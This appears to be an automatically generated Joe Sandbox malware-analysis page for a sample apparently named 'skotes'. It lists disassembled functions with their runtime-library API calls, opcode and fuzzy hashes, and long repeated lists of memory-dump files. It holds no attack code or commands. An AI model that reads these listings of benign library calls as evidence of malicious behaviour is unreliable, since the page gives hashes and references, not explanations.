Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Zl,ml
API String ID: 1423051803-2199340090
Opcode ID: 5c00dd9e86c1f66ad951e2de51788b190ce1fe242be7d9b17a82ad86807dacb1
Instruction ID: 01f9af0a99479dee896e05f3293eb871e3182d69c903207612e867efc1c55d38
Opcode Fuzzy Hash: 5c00dd9e86c1f66ad951e2de51788b190ce1fe242be7d9b17a82ad86807dacb1
Instruction Fuzzy Hash: FA519172A00216ABEB215F649C42FFB36ABDF84754F15412EFD04A7345EF34DC119AA4

Function 006BDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 006BDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 006BDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 006BDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 006BDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 006BDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 006BDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 006BDE74

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: d62b73c3aff8ea02eea97b8c0b7a89144f65b92b3e46204b315fdad119abebe9
Instruction ID: 7991f7f44bd5bff5e13efc1066fc091e057fb92994a3df3fb5cc94c3cf0e6a41
Opcode Fuzzy Hash: d62b73c3aff8ea02eea97b8c0b7a89144f65b92b3e46204b315fdad119abebe9
Instruction Fuzzy Hash: BB41AFB0A042449ACF54FFA084557ED7BA76F11304F1440ADE9426F3C3EB759E86CB6A

Function 006BE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 006BE7D7

Part of subcall function 006BE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 006BE577
Part of subcall function 006BE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 006BE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006BE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 006BE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 006BE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 006BE879
Concurrency::location::_Assign.LIBCMT ref: 006BE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 006BE8B5

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 87d4a69d66b930c865a05a2a78937122fc1a8a551ce397b87276fdb0d41bb46d
Instruction ID: 557ccfca34fc9a50744cf84214ffd86a28cfcf367ef5c322389f96a301220ccc
Opcode Fuzzy Hash: 87d4a69d66b930c865a05a2a78937122fc1a8a551ce397b87276fdb0d41bb46d
Instruction Fuzzy Hash: DF411A75A002049FCB45EF64C495AEDB7BAFF48310F1580A9ED499B382DB70A981CF91

Function 006A6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 006A6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 006A6F22
std::_Rethrow_future_exception.LIBCPMT ref: 006A6F32
__Mtx_unlock.LIBCPMT ref: 006A6FD5
__Mtx_unlock.LIBCPMT ref: 006A70DB
__Mtx_unlock.LIBCPMT ref: 006A7116

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 6fb8eb4de598f682f12c36cc28cb91d0d645904717911d977f664747187e663e
Instruction ID: 3cf41ed2e8374937db2e48fe06afc6fee80af5ae72a04f0b0467666c99e9f0c6
Opcode Fuzzy Hash: 6fb8eb4de598f682f12c36cc28cb91d0d645904717911d977f664747187e663e
Instruction Fuzzy Hash: 8FC1CFB19047049FDF21EFA4C845BAABBF6AF16310F04456DE81697782EB31AD04CF61

Function 006B44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 006B4538
ListArray.LIBCONCRT ref: 006B456C
Hash.LIBCMT ref: 006B45D5
Hash.LIBCMT ref: 006B45E5

Part of subcall function 006B9C41: std::bad_exception::bad_exception.LIBCMT ref: 006B9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 006B474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006B47A4

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 49abb832542600c08338a52b183585b97a2d08aefa2c782530a78c6f26785b76
Instruction ID: aa1a328d524611cdb616a8d7dde6f187e0fb61491f0365426c94c376ed0560fa
Opcode Fuzzy Hash: 49abb832542600c08338a52b183585b97a2d08aefa2c782530a78c6f26785b76
Instruction Fuzzy Hash: 83817EF0A11B62BAD748EF748445BD9FBA9BF09700F10421EF52897281DBB4A660CBD5

Function 006AECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 006AECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 006AED17

Part of subcall function 006AF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 006AF3FA

__alloca_probe_16.LIBCMT ref: 006AED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 006AED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 006AEDC6
__freea.LIBCMT ref: 006AEDEC

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
